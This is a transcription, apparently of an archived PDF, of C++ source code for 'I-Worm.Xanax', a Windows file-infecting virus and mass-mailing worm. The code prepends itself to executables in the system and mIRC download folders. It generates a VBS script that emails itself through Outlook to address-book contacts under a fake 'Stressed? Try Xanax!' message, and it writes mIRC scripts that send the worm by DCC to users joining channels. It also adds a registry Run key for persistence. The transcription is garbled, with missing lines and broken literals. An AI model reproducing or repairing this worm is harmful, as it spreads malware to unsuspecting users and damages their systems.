I-Worm.Xanax.txt Sun Jul 20 12:43: /*

Transcription

1 I-Worm.Xanax.txt Sun Jul 20 12:43: /* */ #include <iostream> #include <windows.h> #include <direct.h> using namespace std; Virus Name: Xanax Version: A Type: Win32 EXE Prepender / I-Worm Author: Gigabyte Homepage: char hostfile[max_path], CopyHost[MAX_PATH], Virus[MAX_PATH]; char Buffer[MAX_PATH], checksum[2], Xanax[MAX_PATH], XanStart[MAX_PATH]; char mark[2], CopyName[10], FullPath[MAX_PATH], VersionBat[15],vnumber[11]; char WinScript[MAX_PATH], DirToInfect[MAX_PATH], RepairHost[MAX_PATH]; FILE *vfile; void VirCheck(char SRCFileName[]) FILE *SRC; char Buffer[1]; int v = 0; for (v = 0; v < 19; v ++) Counter = fread(buffer, 1, 1, SRC); strcpy(checksum, Buffer); for (v = 0; v < 1; v ++) Counter = fread(buffer, 1, 1, SRC); strcat(checksum, Buffer); void WriteVirus(char SRCFileName[], char DSTFileName[]) FILE *SRC, *DST; char Buffer[1024]; int v = 0; DST = fopen(dstfilename, "wb"); if(dst) for (v = 0; v < 33; v ++) fwrite(buffer, 1, Counter, DST); fclose(dst);

2 I-Worm.Xanax.txt Sun Jul 20 12:43: void AddOrig(char SRCFileName[], char DSTFileName[]) FILE *SRC, *DST; char Buffer[1024]; DST = fopen(dstfilename, "ab"); if(dst) while(! feof(src)) fwrite(buffer, 1, Counter, DST); fclose(dst); void CopyOrig(char SRCFileName[], char DSTFileName[]) FILE *SRC, *DST; char Buffer[1024]; int v = 0; DST = fopen(dstfilename, "wb"); if(dst) for (v = 0; v < 33; v ++) fwrite(buffer, 0, 0, DST); fclose(dst); while(! feof(src)) fwrite(buffer, 1, Counter, DST); bool FileExists(char *FileName) HANDLE Exists; Exists = CreateFile(FileName, GENERIC_READ, FILE_SHARE_READ FILE_SHARE_WRITE, 0, OPEN_EXISTING, 0, 0); if(exists == INVALID_HANDLE_VALUE) return false; CloseHandle(Exists); return true; void ScriptFile() GetWindowsDirectory(Buffer,MAX_PATH);

3 I-Worm.Xanax.txt Sun Jul 20 12:43: fprintf(vfile,"[script]\nn0=on 1:JOIN:#: /if ( $nick == $me ) halt \nn1=/dcc send $nick"); fprintf(vfile," %s%csystem%c%s\nn2=\n", Buffer, 92, 92, CopyName); void main(int argc, char **argv) strcpy(virus, argv[0]); GetWindowsDirectory(Buffer,MAX_PATH); char * regkey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" + NULL; strcpy(xanax,buffer); strcat(xanax,"\\system\\xanax.exe"); strcpy(xanstart,buffer); strcat(xanstart,"\\system\\xanstart.exe"); char * regdata = XanStart + NULL; strcpy(copyname, "xanax.exe"); strcpy(fullpath, Buffer); strcat(fullpath, "\\system\\"); strcat(fullpath, CopyName); WriteVirus(Virus, FullPath); int x = lstrlen(virus) - 6; if(virus[x]!= r ) if(virus[x]!= R ) CopyFile(Xanax,XanStart,FALSE); MessageBox(NULL,"8-Chloro-1-methyl-6-phenyl-4H-s-triazolo (4,3-alpha)(1,4 ) benzodiazepine","xanax",mb_ok); MessageBox(NULL,"8-Chloro-1-methyl-6-phenyl-4H-s-triazolo (4,3-alpha)(1,4 ) benzodiazepine","xanax",mb_ok); \n"); strcpy(winscript, Buffer); strcat(winscript, "\\wscript.exe"); if(fileexists(winscript)) if(fileexists("xanax.sys") == false) vfile = fopen("c:\\xanax.vbs","wt"); fprintf(vfile,"on Error Resume Next\n"); fprintf(vfile,"dim xanax, Mail, Counter, A, B, C, D, E, F fprintf(vfile,"set xanax = CreateObject(%coutlook.applica tion%c)\n", 34, 34); fprintf(vfile,"set Mail = xanax.getnamespace(%cmapi%c)\n", 34, 34); fprintf(vfile,"for A = 1 To Mail.AddressLists.Count\n"); fprintf(vfile,"set B = Mail.AddressLists(A)\n"); fprintf(vfile,"counter = 1\n"); fprintf(vfile,"set C = xanax.createitem(0)\n"); fprintf(vfile,"for D = 1 To B.AddressEntries.Count\n"); fprintf(vfile,"e = B.AddressEntries(Counter)\n"); fprintf(vfile,"c.recipients.add E\n"); fprintf(vfile,"counter = Counter + 1\n"); fprintf(vfile,"if Counter > 1000 Then Exit For\n"); fprintf(vfile,"next\n"); fprintf(vfile,"c.subject = %cstressed? Try Xanax!%c\n", 3 4, 34); fprintf(vfile,"c.body = %chi there! Are you so stressed t hat it makes you ill? You re not alone! Many people suffer from stress, these days. ",34)

4 I-Worm.Xanax.txt Sun Jul 20 12:43: ; fprintf(vfile,"maybe you find Prozac too strong? Then you NEED to try Xanax, it s milder. "); fprintf(vfile,"still not convinced? Check out the medical details in the attached file. Xanax might change your life!%c\n",34); fprintf(vfile,"c.attachments.add %c%s%csystem%c%s%c\n", 3 4, Buffer, 92, 92, CopyName, 34); fprintf(vfile,"c.deleteaftersubmit = True\n"); fprintf(vfile,"c.send\n"); fprintf(vfile,"e = %c%c\n", 34, 34); fprintf(vfile,"next\n"); fprintf(vfile,"set F = CreateObject(%cScripting.FileSyste mobject%c)\n", 34, 34); fprintf(vfile,"f.deletefile Wscript.ScriptFullName\n"); ShellExecute(NULL, "open", "xanax.vbs", NULL, NULL, SW_SHOWNORMAL ); if(fileexists("expostrt.exe") == false) WIN32_FIND_DATA FindData; HANDLE FoundFile; strcat(dirtoinfect, Buffer); strcat(dirtoinfect, "\\*.exe"); FoundFile = FindFirstFile(DirToInfect, &FindData); if(foundfile!= INVALID_HANDLE_VALUE) do if(finddata.dwfileattributes & FILE_ATTRIBUTE_DIRECTORY) GetWindowsDirectory(Buffer,MAX_PATH); _chdir("system"); strcpy(hostfile, Buffer); strcat(hostfile, "\\"); strcat(hostfile, FindData.cFileName); VirCheck(hostfile); strcpy(mark,"ny"); if(finddata.cfilename[3]!= D ) if(finddata.cfilename[0]!= P ) if(finddata.cfilename[0]!= R ) if(finddata.cfilename[0]!= E ) if(finddata.cfilename[0]!= T ) if(finddata.cfilename[0]!= W ) if(finddata.cfilename[0]!= w ) if(finddata.cfilename[5]!= R )

5 I-Worm.Xanax.txt Sun Jul 20 12:43: if(finddata.cfilename[0]!= S ) if(finddata.cfilename[0]!= s ) if(checksum[1]!= mark[1]) strcpy(copyhost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE); strcpy(virus, argv[0]); CopyFile(FullPath, hostfile, FALSE); AddOrig(CopyHost, hostfile); _unlink("host.tmp"); while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); if(fileexists("c:\\mirc\\mirc32.exe")) FoundFile = FindFirstFile("c:\\mirc\\download\\*.exe", &FindData); if(foundfile!= INVALID_HANDLE_VALUE) do if(finddata.dwfileattributes & FILE_ATTRIBUTE_DIRECTORY) _chdir("system"); strcpy(hostfile, "c:\\mirc\\download\\"); strcat(hostfile, FindData.cFileName ); VirCheck(hostfile); strcpy(mark,"ny"); if(checksum[1]!= mark[1]) strcpy(copyhost, "host.tmp"); CopyFile(hostfile, CopyHost, FALSE); WriteVirus(Virus, hostfile); AddOrig(CopyHost, hostfile); _unlink("host.tmp"); while (FindNextFile(FoundFile, &FindData)); FindClose(FoundFile); vfile = fopen("c:\\mirc\\script.ini","wt"); vfile = fopen("c:\\progra 1\\mirc\\script.ini","wt");

6 I-Worm.Xanax.txt Sun Jul 20 12:43: vfile = fopen("d:\\mirc\\script.ini","wt"); vfile = fopen("d:\\progra 1\\mirc\\script.ini","wt"); vfile = fopen("e:\\mirc\\script.ini","wt"); vfile = fopen("e:\\progra 1\\mirc\\script.ini","wt"); vfile = fopen("f:\\mirc\\script.ini","wt"); vfile = fopen("f:\\progra 1\\mirc\\script.ini","wt"); vfile = fopen("winstart.bat","wt"); fprintf(vfile,"@cls\n"); fprintf(vfile,"@echo Do not take this medication with ethanol, Buspar (buspirone), TCA\n"); fprintf(vfile,"@echo antidepressants, narcotics, or other CNS depressants.\n"); fprintf(vfile,"@echo This combination can increase CNS depression. Be sure not to take other\n"); fprintf(vfile,"@echo sedative, benzodiazepines, or sleeping pills with this drug. The combinations\n"); fprintf(vfile,"@echo could be fatal. Do not smoke or drink alcohol when taking Xa nax. Alcohol can\n"); fprintf(vfile,"@echo lower blood pressure and decrease your breathing rate to the point of\n"); fprintf(vfile,"@echo unconsciousness. Tobacco and marijuana smoking can add to th e sedative\n"); fprintf(vfile,"@echo effects of Xanax.\n"); vfile = fopen("xanax.sys", "wt"); fprintf(vfile, "Win32.HLLP.Xanax (c) 2001 Gigabyte\n");

7 I-Worm.Xanax.txt Sun Jul 20 12:43: RegSetValue(HKEY_LOCAL_MACHINE, regkey, REG_SZ, regdata, lstrlen(regdata)); strcpy(repairhost, Buffer); strcat(repairhost, "\\system\\hostfile.exe"); CopyOrig(Virus, RepairHost); _chdir("system"); if(fileexists(repairhost)) WinExec(RepairHost, SW_SHOWNORMAL); _unlink("hostfile.exe");